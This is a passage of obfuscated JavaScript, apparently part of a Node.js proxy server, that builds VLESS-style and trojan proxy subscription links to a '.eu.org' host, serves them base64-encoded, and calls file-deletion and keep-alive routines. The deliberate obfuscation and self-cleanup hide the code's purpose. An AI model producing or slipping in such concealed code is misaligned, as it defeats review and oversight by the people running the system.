_0xe0d3e8=_0x18e946?_0x19bfc0+'-'+_0x5a20d9:_0x5df23a,_0x9314a2=_0x122bdc(0x1e6,0x1e4,0x228,0x23b)+_0x3ca81f+(_0x922938(-0x163,-0x113,-0x3e,-0xba)+'.eu.org:44'+_0x922938(0x102,-0x35,-0x54,0x2b)+_0x922938(-0x1c4,-0xa1,-0x4b,-0x10a)+'curity=tls'+_0x922938(0x43,-0x13d,-0xea,-0x76))+_0x2babd0+(_0x122bdc(0x300,0x31b,0x245,0x180)+_0x922938(-0x197,-0x11a,-0xe5,-0xea)+_0x122bdc(0x183,0x1e7,0x21e,0x2d4))+_0x13cae5+_0x922938(-0xb5,-0x120,-0x2c,-0xc6)+_0x3ab7b9+'#'+_0xe0d3e8,_0xdde9f5='trojan://'+_0x3577d1+(_0x922938(-0x9d,-0x13e,0x19,-0xba)+_0x122bdc(0x262,0x296,0x338,0x2c3)+_0x922938(-0xea,-0x82,-0x141,-0x9b)+_0x122bdc(0x1bd,0x1cb,0x248,0x1f4))+_0x2452f8+(_0x922938(-0xbe,-0x49,0xe,-0x72)+_0x122bdc(0x168,0x1ba,0x1cd,0x216)+'ost=')+_0x510ef9+_0x922938(-0x6e,-0x191,0xf,-0xc6)+_0x44388d+'#'+_0xe0d3e8,_0x126223=pvPabj['yeUbK'](_0x9314a2,'\x0a')+_0xdde9f5,_0x30746d=_0xf1fcf2[_0x122bdc(0x337,0x34c,0x297,0x361)](_0x126223)[_0x122bdc(0x2ca,0x32f,0x331,0x277)](pvPabj['THyYD']),_0x290e99={};_0x290e99[_0x122bdc(0x368,0x31b,0x2f1,0x345)+'pe']=pvPabj[_0x122bdc(0x1b3,0x1e5,0x1a2,0x12d)],_0x5b1624[_0x122bdc(0x137,0x173,0x1d0,0x153)](0x238+0x150f+0x1bb*-0xd,_0x290e99),_0x30acf9[_0x922938(-0x96,0x4a,0x5b,0x25)](pvPabj['yeUbK'](_0x30746d,'\x0a'));}else _0x2a06cd[_0x922938(0x90,0x11b,0x9e,0x42)](delFiles);},-0x2bd17*-0x1+-0x143+0x34c),addAccessTask();function _0xf48b64(_0x46bcca,_0xdee479,_0x23a6fd,_0x4e5932){return _0x34f073(_0xdee479,_0xdee479-0x105,_0x23a6fd-0x15b,_0x46bcca-0x3ac);}function _0x4e67a0(_0x3c680d,_0x497e40,_0x456a48,_0x1d93f7){return _0x34f073(_0x3c680d,_0x497e40-0x1e,_0x456a48-0xf2,_0x497e40-0x1d3);}console[_0xf48b64(0x258,0x2a5,0x1d0,0x1e3)](_0xf48b64(0x17e,0x245,0x255,0x215)+_0xf48b64(0x28f,0x1d6,0x295,0x1d6)+_0xf48b64(0x20a,0x2e0,0x295,0x2a0)+PORT);});